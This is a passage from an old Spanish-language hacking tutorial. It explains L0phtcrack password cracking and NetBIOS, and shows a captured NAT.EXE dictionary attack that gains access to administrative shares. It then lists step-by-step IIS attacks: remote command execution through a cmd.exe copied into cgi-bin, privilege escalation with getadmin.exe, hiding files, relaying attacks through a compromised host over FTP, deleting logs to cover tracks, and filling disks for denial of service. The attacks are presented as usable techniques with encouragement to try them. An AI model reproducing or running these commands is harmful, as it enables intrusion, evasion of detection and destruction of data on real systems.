devolviendo asi todos
los passwords de hasta 14 caracteres que se hayan podido
descifrar. Cuando se
encuentre una coincidencia, la palabra es probada con las
2 elevado a
longitud(palabra) posibles combinaciones.
Cambiando la cadena de
caracteres que se procesa por defecto, podemos reducir
drasticamente la
cantidad de tiempo empleada en un ataque de fuerza bruta al
usar todo el espacio
de posibles combinaciones. Recuerda que los siguientes
caracteres no son
validos en un password, por lo que no necesitan ser
incluidos:
'/', '\', '[', ']'',
':', ';', '|,' ,'=', ',','+', '*', '?', '<', '>'
(de acuerdo a la
informacion que Microsoft facilita).
Por ejemplo, si lo
unico que quieres es chequear todas las posibles
combinaciones de
letras del alfabeto, te basta con pasarle la cadena
ABCDEFGHIJKLMNOPQRSTUVWXYZ
como argumento.
3.5.2. ¨Por que es tan
importante ser capaz de atacar solo claves MD4?
El ataque o crackeo de
passwords solo en formato MD4, sin usar LANMAN, es
evidentemente mucho
mas lento que crackear el password en formato LANMAN y
despues probar todas
las combinaciones de mayusculas/minusculas.
Los cambios producidos
en la especificacion CIFS (Common Internet File System)
implican que un
servidor puede ser capaz de forzar a un cliente a usar el
dialecto MD4 de NT en
la conexion, sin dar la posibilidad de usar LANMAN. Por
eso, se debe ser capaz
de poder crackear este tipo de passwords directamente,
dado que, a menudo, en
una sesion de hacking, se usaran sniffers que pondran a
la tarjeta de red en
modo promiscuo, pudiendo monitorizar todo el trafico de
la red.
3.5.3. Rendimiento de
L0phtcrack.
La revision 1 de la
herramienta, era capaz de probar un diccionario de 8 megas
contra un listado de
100 usuarios en menos de 1 minuto en un Pentium Pro 200
con la version de
interface grafico. La version de linea de comandos (ventana
MSDOS) es algo mas
rapida incluso, pudiendo sondear por fuerza bruta la
cadena
"ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789-_" en un poco mas de 3 dias en
un P133.
La version 2.0 es
capaz de chequear cientos de usuarios con un diccionario de
100.000 palabras en
unos pocos minutos usando un Pentium Pro 200. La unica
pega de usar el metodo
de fuerza bruta es que solo encuentra passwords muy
simples (mal elegidos
por su due¤o debido a su simplicidad).
En la version 2.0,
usando la cadena de caracteres A-Z, nos lleva 24 horas
generar todas las
posibles combinaciones y encriptarlar en un Ppro 200. Si se
usa la cadena A-Z,
0-9, lleva alrededor de 10 dias.
Ademas, hay que tener
en cuenta que existe una prueba para determinar de forma
rapida cuando un
usuario ha elegido un password de 7 caracteres o menos ] y
empezar a crackear
solo este tipo de passwords, con el consiguiente ahorro de
tiempo.
3.5.4. Donde conseguir
la herramienta L0phtcrack.
L0phtcrack se
distribuia libremente en http://www.l0pht.com/advisories.html,
donde ademas se
notificaban los nuevos ataques y vulnerabilidades encontrados
contra sistemas
operativos y programas/utilidades/servicios conocidos. Sin
embargo la ultima
version, la 2.0, ya no trae el codigo fuente. Ademas, deja
de ser gratuita para
pasar a ser shareware. A cambio, introduce las siguientes
mejoras:
$ Un sniffer de red
para capturar sesiones SMB, lo que permite recolectar
passwords LANMAN
encriptados sin tener permisos de administrador.
$ Usar la funcion
SAMDUMP para extraer los passwords encriptados (los hashes)
de la rama SAM del
registro, del disco de reparacion de emergencia o de una
cinta de backup.
$ La capacidad de
salvar y restaurar un ataque de fuerza bruta empezado y no
terminado.. Se guardan
tanto la iteracion actual como el conjunto de
caracteres usado junto
con los resultados parciales. Este fichero es salvado
automaticamente cada 5
minutos, para no perder por un descuido (corte de luz,
aparicion repentina
del administrador...) cualquier resultado de un ataque
por fuerza bruta.
$ Cuando una de las
mitades de un password LANMAN es encontrada, se muestra
por pantalla. Esto nos
puede ayudar a descifrar el resto por sentido comun.
$ Se ofrecen cadenas
de caracteres para el ataque de fuerza bruta.
$ Algoritmo de
multiproceso para ataques de fuerza bruta. Rendimiento de un
ataque por fuerza
bruta: 6 horas en un ataque usando la cadena de caracteres
de la A -Z y 62 horas
usando la cadena de la A-Z,0-9 en un ordenador equipado
con cuatro
procesadores Pentium Pro 200.
$ Mayor velocidad de
sondeo de passwords ante una gran entrada de usuarios
gracias a un algoritmo
de busqueda mejorado. Ahora es posible usar fuerza
bruta contra 10.000
entradas de usuario a la vez.
$ L0phtCrack es ahora
un proceso en background que se ejecuta con proridad
inferior a la normal y
puede ser ocultado inmediatamente (para ser
posteriormente
restaurado) mediante la pulsacion de una combinacion especial
de teclas: Ctrl-Alt-L
(otra vez util ante posibles entradas de personas
non-gratas en mitad de
un proceso de escaneo de passwords).
La version de
evaluacion, salio 6 meses despues de la version 1.5 y esta
limitada a 15 dias de
prueba, tras lo cual el producto deberia ser registrado,
pagando $50. La
version con interfaz de linea de comandos, recortada aunque
con codigo fuente,
tambien esta disponible de forma gratuita.
4. Introduccion a
NetBIOS.
4.1. ¨Que es NetBIOS?
NetBIOS (Network Basic
Input Output System) fue originalmente desarrollado por
IBM y Sytek como un
API para el software cliente de recursos de una red local
(LAN). Desde su
creacion, NetBIOS se ha convertido en el fundamento de muchas
otras aplicaciones de
red. En sentido estricto, NetBIOS es una especificacion
de interface para el
acceso a servicios de red.
NetBIOS, una capa de
software desarrollado para enlazar un sistema operativo
de red con hardware
especifico, fue originalmente dise¤ado como
EL controlador de red
para las redes LAN de IBM. Hoy en dia, NetBIOS ha sido
extendido para
permitir a los programas que han sido escritos usando dicho
interface poder
trabajar con la arquitectura Token Ring de IBM. NetBIOS ha
sido adoptado como un
estandar mundial y hoy en dia es comun escuchar que una
red local es
compatible NetBIOS.
Resumiendo, y de forma
sencilla, NetBIOS permite a las aplicaciones 'hablar'
con la red. Su
intencion es conseguir aislar los programas de aplicacion de
cualquier tipo de
deopendencia del hardware. Tambien evita que los
desarrolladores de
software tengan que desarrollar rutinas de recuperacion
ante errores o de
enrutamiento o direccionamiento de mensajes a bajo nivel.
NetBIOS hace el
'trabajo sucio'.
En una red local con
soporte NetBIOS, los ordenadores son conocidos e
identificados con un
nombre. Cada computador de la red tiene un unico nombre.
Cada PC de una red
local NetBIOS se comunica con los otros bien sea
estableciendo una
conexion (session), usando datagramas NetBIOS o mediante
broadcast. Las
sesiones (establecimiento de una conexion) permiten, como en
el protocolo TCP,
mandar mensajes mas largos y gestionar el control y
recuperacion de
errores. La comunicacion sera punto a punto. Por otro lado,
los metodos de
datagramas y broadcast permiten a un ordenador comunicarse con
otros cuantos al mismo
tiempo, pero estando limitados en el tama¤o del mensaje.
Ademas, no hay control
ni recuperacion de errores (al igual que ocurre en UDP).
A cambio, se consigue
una mayor eficiencia con mensajes cortos, al no tener
que establecer una
conexion.
Asi pues, NetBIOS
permite comunicacion orientada a conexion (TCP) o no
orientada a conexion
(UDP). Soporta tanto broadcast como multicast, ademas
de 3 tipos de servicio
diferentes: Servicio de Nombres, Servicio de Sesion y
Servicio de
Datagramas.
4.2. Servicio de
Nombres en NetBIOS
Los nombres en NetBIOS
son usados para identificar recursos en la red. Las
aplicaciones usan
estos nombres para empezar y terminar conexiones.
Puedes configurar una
unica maquina para multiples aplicaciones y asignar un
nombre distinto a cada
una de ellas. Ademas en NetBIOS se identifica tambien
a cada ordenador de la
red de forma univoca, por un unico nombre.
Cada uno de estos
nombres puede estar formado por 16 caracteres alfanumericos.
La combinacion de
caracteres debe ser unica dentro de cada red. Para ello,
antes de que un PC
pueda usar un nombre NetBIOS, debe resgistrarlo. Cuando un
cliente quiere
registrar un nombre, debe advertirlo a toda la red mediante
broadcast y esperar
las respuestas de los otros nodos para confirmar que el
nombre no esta en uso.
Si ningun cliente reclama el nombre, el proceso de
registro termina y el
nombre de servicio ha quedado registrado.
Existen 2 tipo de
nombres en un entorno NetBIOS: 'Unique' y 'Group'.
Un nombre 'Unique',
como su propio nombre indica, debe ser unico en toda la
red.
Un nombre de grupo no
tiene por que ser unico y asi, todos los procesos con
un determinado nombre
de grupo pertenecen a dicho grupo.
Cada nodo NetBIOS
mantiene una tabla con todos los nombres de los que es
propietario.
Aunque en principio
las especificaciones NetBIOS permiten nombres de 16
caracteres, Microsoft
los limita a 15 y usa el 16§ como un sufijo NetBIOS.
Este sufijo es usado
por el software de rted de Microsoft para identificar
el servicio o
dispositivo registrado.
Los puertos en los que
'trabaja' NetBIOS sobre TCP/IP (NBT) son el 137
Servicio de Nombres
NetBIOS (UDP), 138 Servicio de datagramas NetBIOS (UDP)
y el 139, Servicio de
Conexion NetBIOS (TCP).
A continuacion se
lista una tabla de los sufijos NetBIOS
usados actualmente
por Microsoft Windows
NT. Los sufijos se muestran en formato hexadecimal.
'Unique' (U): el
nombnre deberia tener solo una direccion IP asignada. En un
dispositivo de red,
podria parecer que aparecieran registradas multiples
ocurrencias de un
mismo nombre, pero el sufijo sera unico, por lo que el
nombre completo (con
sufijo) sera unico ('Unique').
'Group' (G): un grupo
normal; un unico nombre podria tener asignadas varias
direcciones IP.
'Multihomed' (M): el
nombre es unico, pero debido a que en un mismo ordenador
puede haber mas de un
interface de red, esta configuracion es necesaria para
permitir su registro.
El numero maximo de direcciones IP que puede tener
asignado es de 25.
'Internet Group' (I):
esta es una configuracion especial de un nombre de
grupo para poder
gestionar los nombres de dominio de Windows NT.
'Domain Name' (D):
nuevo en NT 4.0 (Nombre de Dominio)
Para echarle un
vistazo a los nombres y servicios NetBIOS registrados en
los servidores de la
red, puedes ejecutar el siguiente comando:
'nbtstat -A
[direccion_IP]'
o
'nbtstat -a
[nombre_host]
4.3. El servicio de
'Session' NetBIOS
El servicio de Session
(Conexion) NetBIOS nos ofrece un servicio orientado a
conexion, seguro (se
asegura que los datos llegan a su destino) y full-duplex.
El establecimiento de
una conexion NetBIOS requiere que una estacion cliente
y otra estacion
servidor esten sincronizados. Asi, una estacion debe estar en
modo listen cuando la
otra le mande un comando call.
Cuando se establece
una llamada cada aplicacion recibe una notificacion de
que efectivamente, se
ha establecido la conexion y un identificador de la
misma. Los comandos
send y receive transfieren los datos. Al final de una
sesion, cualquiera de
las dos aplicaciones puede lanzar un comando de fin
Hang-Up (colgar).
No hay un control de
flujo real para el servicio de conexion debido a que se
asume que la red local
(LAN) es lo suficientemente rapida como para soportar
todo el trafico
generado.
4.4. Datagramas
NetBIOS
Los datagramas pueden
ser enviados a un nombre especifico, a todos los
miembros de un grupo o
en modo broadcast a toda la red. Como en otros
servicios de datagrama
(UDP), los datagramas NetBIOS son no orientados a
conexion y no aseguran
que los datos lleguen a su destino. El comando
Send_Datagram requiere
que el emisor especifique el nombre del destino. Si el
destino es un nombre
de grupo, todos los miembros del mismo recibiran el
datagrama. La
aplicacion que lance un comando "Receive_Datagram" debe
especificar el nombre
local para el que quiere recibir servicio de datagramas.
Este comando devuelve,
ademas de los datos propiamente dichos que lleve el
datagrama, el nombre
del emisor. Si NetBIOS recibe un datagrama, pero no se
ha lanzado un comando
"Receive_Datagram", el datagrama sera descartado.
El comando
Send_Broadcast_Datagram manda el mensaje a todos los sistemas
NetBIOS de la red
local. Cuando un datagrama de este estilo es recibido por
un nodo NetBIOS, cada
proceso que haya lanzado un comando
"Receive_Broadcast_Datagram"
recibira dicho datagrama. Si no existe ninguna
peticion de recepcion
de datagramas, este sera descartado.
NetBIOS permite a una
aplicacion establecer una conexion con cualquier otro
dispositivo y deja que
el redirector y los protocolos de
transacciones pasen
los mensajes entre
maquinas. NetBIOS no manipula de ninguna manera los
mensajes. Las
especificaciones NetBIOS define un interface para el protocolo
de red usado para
obtener ciertos servicios, pero no define el protocolo como
tal. Historicamente se
ha emparejado con un protocolo de red llamado NetBEUI
(Network Extended User
interface). La asociacion del interface y del
protocolo a menudo
puede llevar a confusion, pero son dos cosas diferentes.
Los protocolos de red
siempre ofrecen al menos un metodo de localizar y
conectarse a un
servicio concreto de una red. Esto se consigue normalmente
convirtiendo el nombre
de un nodo o de un servicio a una direccion de red
(lo que se ha dado en
llamar resolucion de nombres).
Los nombres NetBIOS
deben ser resueltos a una direccion IP antes de
establecer una
conexion TCP/IP. Muchas implementaciones NetBIOS para TCP/IP
consiguen la
resolucion de nombres bien sea usando broadcast o ficheros
LMHOSTS. En un entorno
Microsoft Windows, seguramente usaras un Servidor de
Nombres NetBIOS
conocido como WINS.
5. Vulnerabilidades
NetBios. NAT.
Esta tecnica de ataque
NetBIOS ha sido verificada en Windows 95, NT 4.0
Workstation, NT 4.0
Server, NT 5.0 beta 1 Workstation, NT 5.0 beta 1 Server y
Windows 98 beta 2.1.
Uno de los componentes que se suelen usar en este tipo
de ataques es NAT.EXE,
una utilidad de Andrew Tridgell.
A continuacion,
discutiremos los usos de esta herramienta, sus parametros
y las tecnicas mas
usadas:
NAT.EXE [-o
nombre_fichero] [-u lista_usuarios] [-p lista_passwords]
<direccion_IP>
Parametros:
-o Especifica el
fichero de salida. Todos los resultados del escaneo seran
escritos en este
fichero, ademas de en pantalla.
-u Especifica el
fichero fuente del que se leeran los nombres de usuario. Se
usaran estos nombres
en un ataque de diccionario al servidor remoto. Los
nombres deben aparecer
uno por linea.
-p Especifica el
fichero donde se encuentran los passwords a probar. Deben ir
tambien uno por linea.
<direccion_IP>
Las direcciones deben ir delimitadas por comas, sin espacios.
Ejemplos de rangos de
direcciones validas son:
nombre_host : se
escaneara este host
127.0.0.1-127.0.0.3 :
escaneara el rango de direcciones comprendido entre
127.0.0.1 y 127.0.0.3
127.0.0.1-3 : equivalente
al anterior.
127.0.0.1-2,7,10-20:
escaneara el rango de direcciones comprendido entre
127.0.0.1 y 127.0.0.3
luego el host 127.0.0.7 y finalmente
los comprendidos entre
127.0.0.10 y 127.0.0.20
nombre_host,
127.0.0.1-3 : escanea el nombre_host y luego las maquinas
con @IP entre
127.0.0.1 y 127.0.0.3
Todas las
combinaciones de nombres_host y rangos de direcciones especificadas
como las del los
ejemplos anteriores son validas.
5.1. El comando
NBTSTAT
El ataque realizado
con NAT es equivalente a una combinacion de NBTSTAT y
comandos NET. Por lo
tanto, veamos con un poco mas de detalle los resultados
de realizar un nbstat
a la direccion XXX.XX.XXX.XX.
C:\nbtstat -A
XXX.XX.XXX.XX
NetBIOS Remote Machine
Name Table
Name Type Status
---------------------------------------------
STUDENT1 <20> UNIQUE Registered
STUDENT1 <00> UNIQUE Registered
DOMAIN1 <00> GROUP Registered
DOMAIN1 <1C> GROUP Registered
DOMAIN1 <1B> UNIQUE Registered
STUDENT1 <03> UNIQUE Registered
DOMAIN1 <1E> GROUP Registered
DOMAIN1 <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP
Registered
MAC Address =
00-C0-4F-C4-8C-9D
Recordemos un poco
cual es el significado del 16§ bit en los codigos NetBIOS:
Nombre_host <00>
UNIQUE Nombre de servicio de la estacion de trabajo
<00>
GROUP nombre de dominio
Servidor <20> UNIQUE Nombre de Servicio
del Servidor
Nombre_host <03>
UNIQUE Registrado por el servicio de mensajeria. Este es
nombre de host que
debera a¤adirse al fichero LMHOSTS, que, aunque no es
necesario para el uso
de NAT.EXE sera necesario si quieres ver el ordenador
remoto en la lista de
'Network Neighborhood' (Otros ordenadores conectados)
Nombre_Usuario
<03> Registrado por el servicio
de mensajeria.
Nombre_Dominio
<1B> Registra el ordenador local
como el "master browser"
para el dominio.
Nombre_Dominio
<1C> Registra el ordenador como
un controlador de dominio
para el
dominio (PDC o BDC)
Nombre_Dominio
<1E> Se registra como un nombre
de grupo NetBIOS
<BF> Nombre del Monitor de Red
<BE> Agente Monitor de Red
<06> Servidor RAS
<1F> Red DDE
<21> Cliente RAS
5.2. Introduccion a
los comandos NET
El comando NET puede
ser introducido por los administradores a traves de una
ventana DOS para
mostrar informacion sobre servidores,
redes, recursos
compartidos y
conexiones. Tambien tiene un numero de opciones que puedes usar
para a¤adir cuentas de
usuario, cambiar la configuracion del dominio y
configurar recursos
compartidos.. En esta seccion se mostraran estos comandos
NET y se dara un
peque¤o script que se puede usar como una herramienta basica
de analisis de seguridad.
Antes de continuar con estas tecnicas, se discutiran
las opciones
disponibles para el comando NET.
Net Accounts: este
comando muestra la configuracion actual y las restricciones
que se aplican en la
politica de passwords, limitaciones de conexion e
informacion de
dominio. Tambien contiene opciones para actualizar la base de
datos con las cuentas
de los usuarios y modificar los requerimientos de
conexion y password.
Net Computer: a¤ade o
borra hosts de la base de datos de un dominio.
Net Config Server o
Net Config Workstation: muestra info. sobre la
configuracion del
servicio de servidor. Cuando se usa sin especificar Server
o Workstation, el
comando muestra una lista de los servicios configurables.
Net Continue: reactiva
un servicio NT que fue suspendido
por un comando NET
PAUSE.
Net File: este comando
muestra los ficheros abiertos en un servidor y tiene
opciones para cerrar
los ficheros compartidos y desbloquear ficheros.
Net Group: muestra
informacion sobre nombres de grupo y tiene opciones
que se pueden usar
para a¤adir o modificar grupos globales en servidores.
Net Help: ofrece ayuda
para el comando Net.
Net Helpmsg message#:
ofrece ayuda para un error de red en particular
o para un mensaje de
alguna funcion.
Net Localgroup: usado
para listar grupos locales en servidores.
Tambien es posible
modificar estos grupos.
Net Name: muestra los
nombres de los ordenadores y de los usuarios a
los que se les puede
mandar mensajes.
Net Pause: usa este
comando para suspender un determinador servicio NT.
Net Print: muestra los
trabajos mandados a la impresora y
las colas compartidas.
Net Send: usado para
mandar mensajes a otros usuarios u ordenadores de la red.
Net Session: muestra
informacion sobre las conexiones actuales.
Ofrece comandos para desconectar
ciertas sesiones.
Net Share: muestra
informacion sobre todos los recursos compartidos.
Este comando es usado
para crear recursos compartidos a traves de red.
Net Statistics Server
o Net Statistics Workstation: muestra el registro
de estadisticas.
Net Stop: para
servicios NT, cancelando cualquier conexion que este usando el
servicio. Hay que
citar que parar un servicio puede traer como efecto lateral el
detener otros.
Net Time: comando
usado para mostrar o inicializar la hora de
un ordenador o
dominio.
Net Use: muestra una
lista de ordenadores conectados y tiene
opciones de conexion y
desconexion de recursos compartidos.
Net User: este comando
mostrara una lista de cuentas de usuario para el
ordenador y tiene
opciones de manipulacion/creacion de estas cuentas.
Net View: muestra una
lista de recursos compartidos en un
ordenador, incluyendo
servidores Netware.
5.3. Una sesion de
ataque NetBIOS mediante el uso de NET VIEW y NET USE
C:\net view
XXX.XX.XXX.XX
Shared resources at
XXX.XX.XXX.XX
Share name Type Used as Comment
------------------------------------------------------------------------------
NETLOGON Disk Logon server share
Test Disk
The command completed
successfully.
NOTE: The C$ ADMIN$
and IPC$ are hidden and are not shown.
C:\net use /?
The syntax of this
command is:
NET USE [devicename |
*] [\\computername\sharename[\volume] [password | *]]
[/USER:[domainname\]username]
[[/DELETE] |
[/PERSISTENT:{YES | NO}]]
NET USE [devicename | *]
[password | *]] [/HOME]
NET USE
[/PERSISTENT:{YES | NO}]
C:\net use x:
\\XXX.XX.XXX.XX\test
The command completed
successfully.
C:\net use
New connections will
be remembered.
Status Local Remote
Network
-------------------------------------------------------------------------------
OK X: \\XXX.XX.XXX.XX\test
Microsoft Windows Network
OK \\XXX.XX.XXX.XX\test Microsoft Windows Network
The command completed
successfully.
5.4. Una sesion de
ataque NetBIOS mediante el uso de NAT.EXE
Ahora viene el
esperado ejemplo de ataque NetBIOS mediante la utilidad NAT.EXE.
La informacion listada
a continuacion es una captura de una sesion de ataque
real. La direccion IP
ha sido modificada para prevenir represalias:
C:\nat -o output.txt
-u userlist.txt -p passlist.txt XXX.XX.XX.XX-YY.YY.YY.YY
[*]--- Reading
usernames from userlist.txt
[*]--- Reading
passwords from passlist.txt
[*]--- Checking host:
XXX.XX.XXX.XX
[*]--- Obtaining list
of remote NetBIOS names
[*]--- Attempting to
connect with name: *
[*]--- Unable to
connect
[*]--- Attempting to
connect with name: *SMBSERVER
[*]--- CONNECTED with
name: *SMBSERVER
[*]--- Attempting to
connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is
Mon Dec 01 07:44:34 1997
[*]--- Timezone is
UTC-6.0
[*]--- Remote server
wants us to encrypt, telling it not to
[*]--- Attempting to
connect with name: *SMBSERVER
[*]--- CONNECTED with
name: *SMBSERVER
[*]--- Attempting to
establish session
[*]--- Was not able to
establish session with no password
[*]--- Attempting to
connect with Username: `ADMINISTRATOR' Password: `password'
[*]--- CONNECTED:
Username: `ADMINISTRATOR' Password: `password'
[*]--- Obtained server
information:
Server=[STUDENT1]
User=[] Workgroup=[DOMAIN1] Domain=[]
[*]--- Obtained
listing of shares:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
Test Disk:
[*]--- This machine
has a browse list:
Server Comment
--------- -------
STUDENT1
[*]--- Attempting to
access share: \\*SMBSERVER\
[*]--- Unable to
access
[*]--- Attempting to
access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able
to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write
access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING:
Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to
exercise .. bug on: \\*SMBSERVER\ADMIN$
[*]--- Attempting to
access share: \\*SMBSERVER\C$
[*]--- WARNING: Able
to access share: \\*SMBSERVER\C$
[*]--- Checking write
access in: \\*SMBSERVER\C$
[*]--- WARNING:
Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to
exercise .. bug on: \\*SMBSERVER\C$
[*]--- Attempting to
access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able
to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write
access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to
exercise .. bug on: \\*SMBSERVER\NETLOGON
[*]--- Attempting to
access share: \\*SMBSERVER\Test
[*]--- WARNING: Able
to access share: \\*SMBSERVER\Test
[*]--- Checking write
access in: \\*SMBSERVER\Test
[*]--- Attempting to
exercise .. bug on: \\*SMBSERVER\Test
[*]--- Attempting to
access share: \\*SMBSERVER\D$
[*]--- Unable to
access
[*]--- Attempting to
access share: \\*SMBSERVER\ROOT
[*]--- Unable to
access
[*]--- Attempting to
access share: \\*SMBSERVER\WINNT$
[*]--- Unable to
access
Asi pues, si el
recurso compartido tiene puestos los permisos por defecto:
Control Total / Todos
, el servidor esta a tu disposicion. Si no, sigue
intentandolo. Te
sorprenderia saber todo lo que se dejan los administradores
por ahi ;-)
6. Vulnerabilidades en
Internet Information Server (IIS)
(Basado en el trabajo
original en ingles de David Litchfield: "A discussion
of a variety of
potential "Hacks" on MS Internet Information Server)
6.1. Entrando por la
puerta trasera.
Recientemente realice
una busqueda en Excite usando el siguiente criterio de
busqueda: "batch
files as CGI Scripts". Esta frase aparece en el capitulo 8
de la ayuda en linea
de MS IIS. El resultado de la busqueda produjo una lista
masiva de maquinas NT
con IIS en Internet. Con gran curiosidad decidi sondear la
fortaleza de estos
sistemas desde el punto de vista de la seguridad (o la
falta de ella).
He testeado unas 50
maquinas y los resultados han sido sorprendentes. He
encontrado 7 maquinas
en las que se podria poner ficheros en el sistema via
ftp; no solo eso: en 2
de esas maquinas podria copiar ficheros a un directorio
www-virtual con
permisos de lectura y ejecucion... Oooops!! Podria copiar
cmd.exe (ahora veremos
por que) y getadmin.exe (mas gasys.dll por supuesto)
a ese directorio.
Despues, usando mi navegador podria seguir la siguiente
direccion URL:
http://www.target.com/cgi-bin/getadmin.exe?iusr_hostname
(es bastante comun que
el servicio FTP en IIS muestre el nombre del servidor..
y si la cuenta anonima
por defecto no ha sido deshabilitada tras realizar
estos sencillos
pasos...ya disponemos de una cuenta "propia"!).
Ejecutando
getadmin.exe de forma remota como se ha mostrado, realiza
correctamente su
trabajo ;-) ... pruebalo.
Asi que ya disponemos
de derechos de administrador ... pronto veremos que
hacer con ellos. ¨Que
podemos decir sobre cmd.exe? Apunta a una direccion de
este estilo con el
navegador:
http://www.host.com/cgi-bin/cmd.exe?/c%20dir%20c:\winnt
o la siguiente:
http://somehost/cgibin/cmd.exe?/c%20copy%20c:\winnt\*.*%20c:\inetpub\ftproot
si copiamos como hemos
dicho el programa cmd.exe al directorio cgi-bin (por
ejemplo) y el
administrador abre el explorador de NT en ese directorio, el
programa cmd.exe
saltara a la vista inmediatamente... asi que es necesario
esconderlo:
http://somehost/cgibin/cmd.exe?/c%20c:\winnt\system32\attrib.exe%20%2BH%cmd.exe
Esto hace que el
fichero pase a estar oculto (esperemos que el administrador
tenga puesto el filtro
que viene por defecto en NT para no ver en el
Explorador los
archivos ocultos).
Si te preocupa el
significado de los signos de porcentaje, ahora pasamos a
explicarlos:
% este signo avisa de
los dos numeros siguientes codifican en hexadecimal un
caracter ASCII.
%20 implica el signo
ASCII de espacio en blanco
%2B codifica el
caracter ASCII '+', asi pues, el trozo de URL anterior:
attrib.exe%20%2BH%20cmd.exe
se puede "traducir" por attrib.exe +H cmd.exe
Nota: si no usas el
codigo ASCII en hexadecimal para el caracter '+' y en
su lugar usas el signo
'+' sin codificar, no se ejecutara el comando attrib
correctamente dado que
en CGI, el caracter '+' se usa para separar parametros.
Nota para los
administradores: configurar el Explorer de NT para que
muestre todos los
ficheros y el intruso no pueda esconder sus acciones tan
facilmente. Una vez
que tengas el fichero "cmd.exe" puedes ejecutar cualquier
linea de comandos que
quieras, lo que nos lleva a comentar el siguiente ataque.
6.2. El ataque Pipe
HTTP/FTP
La idea general es
conectarse a una maquina, ejecutar un comando en esa
maquina para que se
conecte a una tercera, haciendo que la 2¦ maquina sea una
especie de proxy. He
aqui los pasos a seguir: desde mi maquina, usando HTTP,
conecto con el primer
servidor, usando la siguiente URL:
http://www.host.com/cgi-bin/cmd.exe?/c:%20c:\winnt\system32\ftp.exe%20-
s:commands.txt%20dir_IP
Expliquemos el
significado de esta URL. Cuando ejecutamos ftp.exe podemos
especificar el nombre
de un fichero de texto que lista los comando que queramos
ejecutar, p.ejm.:
Anonymous
Fakename@host.com
Put file.txt
Put program.exe
Bye
Obviamente, deberas
manipular los comandos convenientemente para que se
adecuen a tus
necesidades... y lo que necesitamos ahora es subir este fichero
a la segunda maquina.
Al final de la URL tienes dir_IP. Esta es la direccion
IP de la tercera
maquina. Lo que hacemos es cargar el proceso ftp en memoria..
es importante
mencionar que que la ventana de comandos no se abre en mitad del
escritorio al hacer
esto... la unica forma de darse cuenta de que el proceso
ftp se esta ejecutando
es usando el Task Manager (Adminitrador de Tareas) y
buscar a traves de los
procesos en ejecucion. Si todo va bien, supongase que
la segunda maquina
contacta con la tercera(el servidor a atacar) y ejecuta los
comandos del fichero
que acabamos de subir: "command,txt". Asi que... ya lo
hemos conseguido...
hemos dejado (o borrado si quisieramos) ficheros en la
tercera maquina sin
tener una conexion directa. La direccion IP que apareca
en el fichero de logs
(registro de actividad) de la tercera maquina sera la
de la segunda y no la
nuestra.
Ahora, deberemos
ocultar las trazas que hemos ido dejando en el ataque
(deberiamos dejar el
terreno tan limpio como cuando entramos) de la 2¦ maquina.
Recuerda que habiamos
ejecutado getadmin.exe.
El usuario
IUSR:hostname tiene derechos de administrador... lo que es una
suerte porque para
ocultar tus "actividades" de la mejor manera que puedas
necesitaras cambiar la
fecha del sistema:
http://www.hostname.com/cgi-bin/cmd.exe?/c%20date%2011/11/97
inicializa la fecha a
un tiempo ya pasado... ¨por que?
a) el administrador
tendra que buscar en ficheros log antiguos (eso si se da
cuenta de que ha
pasado algo raro) y si los logs antiguos son borrados con
cierta regularidad,
tendra un peque¤o problema...
b) necesitaras borrar
tambien otro log (para esconder tus trazas, la fecha en la
que entraste y en la
que te encuentras tras haberla cambiado). Concretamente
el log que guarda las
actividades del dia del ataque (sea 13-IV-98). Para
ello espera 5 minutos
(para que el log se escriba a disco) y sigue la
siguiente direccion
URL:
http://www.host.com/cgi-
bin/cmd.exe?/c%20del%20c:\winnt\system32\logfiles\in980413.log
Despues, es necesario
inicializar la fecha al dia de hoy... a la fecha en la
que deberia estar...
Hay otras cosas que se pueden hacer pero no entrare en
mas detalles. El
trabajo de limpieza que hemos realizado no soportara un
intenso escrutinio
pero pasara una inspeccion normal.
Usando el ataque
HTTP/FTP Pipe Attack podrias atravesar un firewall... si el
firewall tiene una
relacion de confianza con la @IP de la maquina IIS hackeada
es posible pasar
ficheros y otro tipo de trafico (ICMP) a traves del firewall...
sientate y piensa que
otras cosas se pueden "hacer" con la combinacion
cmd.exe/getadmin.exe.
Piensa tambien en usar net.exe [seccion-5.2] junto con
estas dos aplicaciones
para crear cuentas, cambiar passwords... lo que
quieras... incluso
acceso a la rama SAM del Registro de Windows NT si el
administrador tiene
permisos de lectura.
Cuidado, si en el
servidor se esta ejecutando Internet Service Manager (ISM)
en su version HTML, es
posible crear una cuenta, ejecutar getadmin.exe en
dicha cuenta y
saltarse la seguridad de ISM (ism.dll) con un identificador
y/o un password
correcto.
6.3. Otros ataques al
IIS
Agotar el recurso HD
con ficheros .mdb
Este tipo de ataque
deberia ser clasificado como un ataque D.O.S. Es posible
rellenar el disco duro
del objetivo con ficheros .mdb de 40k cada uno. Lo que es
preocupante es el
hecho de que cerca de la mitad de las maquinas que he
observado son
susceptibles a este tipo de ataque. Si seguimos la siguiente
direccion URL:
http://www.host.com/scripts/tools/getdrvrs.exe
nos llevara a una
pagina Web donde podremos seleccionar un driver para crear
una fuente de datos
para un controlador ODBC. Siguiendo las instrucciones en
pantalla podras crear
un ficheros "loquequieras.mdb" de unos 40kb de longitud.
Si ejecutamos lo mismo
unas 1000 veces habremos ocupadoo 40MB de disco duro.
No es dificil realizar
un programa para automatizar la tarea (que incluso
disponga de opciones
para especificar nombres, tama¤o a ocupar, etc...). Asi
pues, es necesario
proteger estas paginas con password.
El Internet Service
Manager (HTML)
Si no modificamos los
directorios de la instalacion por defecto, el ISM se
encuentra en la
siguiente direccion URL:
http://www.host.com/iisadmin/default.htm
Al intentar
administrar cualquier servicio del ISM, se ejecuta la siguiente
URL:
http://www.host.com/scripts/iisadmin/ism.dll?http/serv
Invariablemente,
ism.dll lanza una peticion de password... es posible a su
vez, lanzar contra
esta peticion un ataque de fuerza bruta (si no es posible
crear una cuenta como
se describio antes).
Otras paginas a tener
